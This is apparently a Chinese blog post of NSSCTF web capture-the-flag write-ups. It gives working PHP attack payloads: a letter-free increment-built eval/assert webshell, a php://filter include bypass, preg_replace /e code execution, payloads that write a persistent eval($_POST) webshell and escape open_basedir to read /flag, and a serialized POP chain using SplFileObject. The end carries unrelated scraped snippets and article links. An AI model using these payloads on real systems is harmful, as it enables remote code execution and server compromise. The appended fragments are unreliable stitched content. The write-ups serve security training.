		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

<!doctype html>
<html lang="zh">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Simple Linux</title>
	<link rel="stylesheet" type="text/css" href="css/styles.css">
	<!--[if IE]>
		<script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
	<![endif]-->
</head>
<body>
	<div class="jq22-container" style="padding-top:100px">
		<div class="login-wrap">
			<div class="login-html">
				<input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
				<input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
				<div class="login-form">
					<form action="index.php" method="post">
						<div class="sign-in-htm">
							<div class="group">
								<label for="user" class="label">Username</label>
								<input id="user" name="user" type="text" class="input">
							</div>
							<div class="group">
								<label for="pass" class="label">Password</label>
								<input id="pass" name="pass" type="password" class="input" data-type="password">
							</div>
							<!-- <div class="group">
								<input id="check" type="checkbox" class="check" checked>
								<label for="check"><span class="icon"></span> Keep me Signed in</label>
							</div> -->
							<div class="group">
								<input type="submit" class="button" value="Sign In">
							</div>
							<div class="hr"></div>
							<!-- <div class="foot-lnk">
								<a href="#forgot">Forgot Password?</a>
							</div> -->
						</div>
					</form>
					<form action="index.php" method="post">
						<div class="sign-up-htm">
							<div class="group">
								<label for="user" class="label">Username</label>
								<input id="user" name="user" type="text" class="input">
							</div>
							<div class="group">
								<label for="pass" class="label">Password</label>
								<input id="pass" name="pass" type="password" class="input" data-type="password">
							</div>
							<div class="group">
								<label for="pass" class="label">Your Website</label>
								<input id="pass" name="website" type="text" class="input">
							</div>
							<div class="group">
								<label for="pass" class="label">Your Punctuation</label>
								<input id="pass" name="punctuation" type="text" class="input">
							</div>
							<div class="group">
								<input type="submit" class="button" value="Sign Up">
							</div>
							<div class="hr"></div>
							<div class="foot-lnk">
								<label for="tab-1">Already Member?</a>
							</div>
						</div>
					</form>
				</div>
			</div>
		</div>
	</div>
	
</body>
</html>

这里来看看template.html,因为代码很长,这里直接截图比较重要的部分了。

((string)__USER__)就是将__USER__强转成string类型,这里只有__PUNC__是我们可以进行利用的地方,这里我们想要执行php代码,至少是需要一个<?php,因为在__PUNC__中<和?还有字母都被禁了,这里只能无字母rce了,这里我们可以选择利用__USER__,把中间全部注释掉,然后用);闭合回去,__PUNC__写exp再把下面的注释掉。

就是像这样的操作,__user__的因为会强制成string还是加一个字母的好,然后会在下面闭合,因为php的特性我们可以使用自增搞一个rce,而且php特性还有可以省略最后的?>,这样我们就可以直接将下面所以注释掉。

 这里我们像这样传过去看看。

这里自增使用的是我之前极限挑战用的,好像是出了一点问题,这里使用一个正常的自增马看看。

这个马是让网友正常了,这里看看有没有执行。

这里传过去一个,命令并没有发现回显,这时候可以选择抓包看看,或者打开源代码看看。

果然在最底下,接下来直接cat就可以了,当然我们也可以在再写一个马使用

file_put_contents('1.php',"<?php eval($_POST['a']);?>");

paylaod

//注册页面
user:a/*
passwd:a
website:a
punctuation:*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*

//这个自增代表的是eval(@_POST[_]);

但是想想,无参数rce不是还有一些东西吗,比如异或,这里就靠大家自己思考了。


[BJDCTF 2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}

刚进去是这个绕过很简单

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php 

这样子就获得了next.php的内容,这里我们通过base64解密,获得他的源码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这个发现和我之前复现的一个知识点一摸一样,可以参考这里我讲的很详细
preg_replace \e的代码执行

payload:
    get传:next.php?\S*={${getFlag()}}&cmd=system("env");

[HUBUCTF 2022 新生赛]HowToGetShell -命令执行绕过

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

首先发现这里过滤所有字母,我们可以自增之类的绕过,然后这里我直接使用我ctfshow-极限rce的payload一把梭的,但是后面发现不可以执行,感觉是设置了disable_fuctions,这里我注入一个普通的马。

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
这个是assert($_POST[_]);

payload:
    post传: mess=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B&_=phpinfo()

这里我们使用我们使用phpinfo测试,发现是执行的,既然system这些被过滤这里我们使用file_put_contents来自己写一个马。

payload:mess=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B&_=file_put_contents('1.php',"<?php eval(\$_POST['shell']);?>");

这里 $ 前面要加一个\转义,不然马写不进去。

访问1.php,发现不能之间利用,但是蚁剑可以连接,发现flag在根目录,就叫flag,所以我们也可以使用另一种方法,绕过目录限制,之间读取flag

payload:mess=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B&_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

访问1.php就可以获得flag

[GDOUCTF 2023]反方向的钟 -原生类的简单利用

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

简单来水一题[doge]

它提示了我们flag就在当前目录中的flag.php中,这里我们分析一下,找到头和尾

//尾
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }


//头
if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}

这里在IPO方法中我们可以看到这里是存在一个任意原生类调用,结合它提示我们flag在flag.php中,这里就可以想到可以利用SplFileObject原生类读取文件

这里我们很简单就找到了链子,通过school::__wakeup -> classroom::hahaha -> school:IPO

整个链子还是十分简单的。

 然后读取的时候发现,因为php是后端的原因,没有flag,所以我们要通过php伪协议读取。

payload:
    get传:?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjtzOjEwOiJkZXBhcnRtZW50IjtPOjk6ImNsYXNzcm9vbSI6Mjp7czo0OiJuYW1lIjtzOjk6Im9uZSBjbGFzcyI7czo2OiJsZWFkZXIiO086NzoidGVhY2hlciI6Mzp7czo0OiJuYW1lIjtzOjM6ImluZyI7czo0OiJyYW5rIjtzOjEwOiJkZXBhcnRtZW50IjtzOjY6InNhbGFyeSI7Tjt9fX0=
    post传:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

NSSCTF web题记录 的相关文章

  • Laravel Auth:attempt() 不会持久登录

    我在网上找到了许多有类似问题的资源 但似乎没有一个解决方案可以解决我的问题 当我使用以下代码登录用户时 一切看起来都很好 email Input get email password Input get password if Auth a
  • 尝试使用 php 发送 POST 请求,无论我做什么,我都会收到“HTTP ERROR 500”

    为了发出 HTTP 请求 有人建议我尝试使用 PHP 并给了我一段代码 url https example com dashboard api data array to gt PHONE NUMBER from gt SENDER ID
  • php源代码到PO文件生成器

    我必须将我的所有回显 打印字符串转换为PHP源代码代码文件到PO file 为了语言翻译 有批次吗对流器可用于相同的 我如何做到这一点 make gettext在您的服务器上运行 setup a 翻译适配器 例如带有 gettext 适配器
  • 为arm构建WebRTC

    我想为我的带有arm926ej s处理器的小机器构建webrtc 安装 depot tools 后 我执行了以下步骤 gclient config http webrtc googlecode com svn trunk gclient s
  • laravel - 使用请求类或输入类

    在宁静的控制器中 我应该使用哪个类来获取传递的变量 member gt email Input get email or member gt email Request get email 两种选择都适合我 但有什么区别 Input get
  • 如何关闭未关闭的 HTML 标签?

    每当我们从数据库或类似来源获取一些经过编辑的用户输入内容时 我们可能会检索仅包含开始标记但不包含结束标记的部分 这可能会妨碍网站当前的布局 有客户端或服务器端的方法来解决这个问题吗 找到了一个很好的答案 使用 PHP 5 并使用 DOMDo
  • CodeIgniter 控制器 - JSON - AJAX

    我正在尝试通过 AJAX 使用 CodeIgniter 发送表单构建 并尝试使用 JSON 获取响应 但是 我只在打开开发人员选项卡时看到响应 我什至不确定这是否实际上是响应 因为它显示了两个 json 数据 它所显示的只是加载旋转器 然后
  • 将 jar 作为 Linux 服务运行 - init.d 脚本在启动应用程序时卡住

    我目前正在致力于在 Linux VM 上实现一个可运行的 jar 作为后台服务 我已经使用了找到的例子here https gist github com shirish4you 5089019作为工作的基础 并将 start 方法修改为
  • 如何在HTML中的PHP中注释掉HTML和PHP?

    这是我想注释掉的一行代码 h1 class post title a href title a h1 一种流行的注释方法是分别注释 html 和 php 有一个更好的方法吗
  • 如何在多次尝试后延迟登录尝试 (PHP)

    我正在开发一个用 PHP 构建的相当大的网站 该网站可能会有很多用户 我正在寻找一种方法来保护登录屏幕免受自动尝试的影响 我已经在注册表中添加了验证码检查 但还想进一步强化网站 据我所知 StackOverflow 上也有类似的问题 而且我
  • 重写 URL,将 ID 替换为查询字符串中的标题

    我对 mod rewrite 很陌生 但我做了一些搜索 但找不到这个问题的答案 我有一个网站 它只有一个 PHP 页面 根据查询字符串中传递给它的 ID 提供数十页内容 我想重写 URL 以便此 ID消失并替换为从数据库中提取的页面标题 例
  • 如何在 Zend MVC 中实现 SSL

    我之前已经通过使用特定的安全文件夹 例如服务器上的 https 文件夹与 http 文件夹 实现了安全页面 我已经开始使用 Zend Framework 并希望应用程序的某些部分 例如登录 使用 https 我在谷歌上搜索过 甚至在这里搜索
  • Facebook PHP SDK - 如何获取访问令牌?

    我正在尝试从我的应用程序在用户的 Facebook 墙上发帖 用户授予应用程序在他的墙上发布的权限 并且我在数据库中有用户ID 我需要自动发送帖子 而无需用户再次登录 我的代码是 try require once dirname FILE
  • PHP print_r() 中 _r 的含义是什么?

    我见过这个答案 https stackoverflow com questions 13103410 what does r suffix mean就这样 但我不确定它对于 PHP 是否相同 如果是 可重入的含义是什么 From PHP n
  • 如何在 phalcon 框架中同时连接多个数据库在模型类中同时使用两个而不仅仅是一个

    在我的代码中我有两个数据库ABC and XYZ 我想在同一模型中使用两个数据库 而不是 phalcon 中的解决方案是什么 如何为此实现多个数据库连接 one
  • Linux 上有关 getBounds() 和 setBounds() 的 bug_id=4806603 的解决方法?

    在 Linux 平台上 Frame getBounds 和 Frame setBounds 的工作方式不一致 这在 2003 年就已经有报道了 请参见此处 http bugs java com bugdatabase view bug do
  • 如何从 Laravel 执行存储过程

    我需要在表单提交数据后执行存储过程 我让存储过程按照我想要的方式工作 并且我的表单正常工作 我只是不知道从 laravel 5 执行 sp 的语句 它应该是这样的 执行 my stored procedure 但我似乎在网上找不到类似的东西
  • 如何使用 php 在 sql 查询中转义引号?

    我有一个疑问 sql SELECT CustomerID FROM tblCustomer WHERE EmailAddress addslashes POST username AND Password addslashes POST p
  • 如何使用 php 将 *.xlsb 转换为数组或 *.csv

    我正在尝试转换 xlsb文件到php array or csv文件 或至少 xls 我尝试使用PHPExcel 但看起来它无法识别该文件中的内容 我注意到 你可以重命名 xlsb文件到 zip文件 然后使用命令行解压缩unzip zip 之
  • 如果产品重量超过1000克,如何以公斤为单位显示

    在 Storefront 主题中 我使用下面的代码将格式化重量从 1000g 更改为 1kg add action woocommerce after shop loop item title show weight 10 function

随机推荐

  • 聊聊undefined 和 undeclared

    一 undefined 在Js中 有两个表示 空 的值undefined和null 其中比较有用的是 undefined undefined 是一个值为 undefined 的类型 JavaScript语言也定义了一个全局变量 它的值是 u
  • oracle存储过程----异常的写法介绍

    上一篇 oracle存储过程 case条件控制语句的用法 oracle存储过程 异常介绍 参考PL SQL 存储过程中的异常来自于程序本身 也有的来自开发人员自定义的数据 而所有的这些错误我们称之为异常 编译时的错误不能称为异常 esmp
  • kubeadm配置虚拟机k8s集群

    环境 centos7 vm pro windows terminal termius 虚拟机 硬件配置 2核2G 实验用 具体可根据电脑调整 配置3台 master01 node01 node02 通过克隆虚拟机直接复制 配置通一项以后建议
  • spark-submit 报错 Initial job has not accepted any resources

    spark submit 报这样的错误 WARN scheduler TaskSchedulerImpl Initial job has not accepted any resources check your cluster UI to
  • [pytest源码4]-pluggy之Plugin注册逻辑分析

    前言 本篇将详细对plugin的注册逻辑进行分析 个人拙见 有错请各位指出 如果的我的文章对您有帮助 不符动动您的金手指给个Star 予人玫瑰 手有余香 不胜感激 GitHub pluggy注册逻辑分析性 我们来详细分析一下plugin的注
  • 有道无术,术尚可求,有术无道,止于术

    有道无术 术尚可求 有术无道 止于术 老子 道德经 道和术在一直是一个引起人们广泛讨论的话题 古今中外许多人对此皆有见解 道和术放在道德和能力上来说 到底哪个更重要许多名人名言中都有阐述 1 因为道德是做人的根本 根本一坏 纵然使你有一些学
  • 一文精通常量池

    大家好 今天来和大家一起探索下Java的常量池 在阅读本篇之前 我为大家准备了一个测试 共15道判断题 每题1分 满分15分 大约花费1 2分钟时间 如果你全部答对了 那么恭喜你大神 本篇可能已经满足不了你了 如果结果不理想也不要气馁 读完
  • OpenCV进阶--图像变换(三)

    继上文 五 图像透视变换 首先透视变换是按照物体成像投影规律进行变换 即将物体重新投影到新的成像平面 在透视变换中 透视前的图像和透视后的图像之间的变换关系可以用一个3 3的变换矩阵表示 该矩阵可以通过两幅图像中4个对应点的坐标求取 因此透
  • 【Linux基础】stat函数

    stat函数 函数描述 获取文件属性 函数原型 include
  • iOS开发之数据存取(一)——SQLite

    概览 在iOS开发中数据存储的方式可以归纳为两类 一类是存储为文件 另一类是存储到数据库 例如前面IOS开发系列 Objective C之Foundation框架的文章中提到归档 plist文件存储 包括偏好设置其本质都是存储为文件 只是说
  • 计算机答卷方式 闭卷满分为90分,关于《计算机应用技术专业综合理论》考试说明.doc...

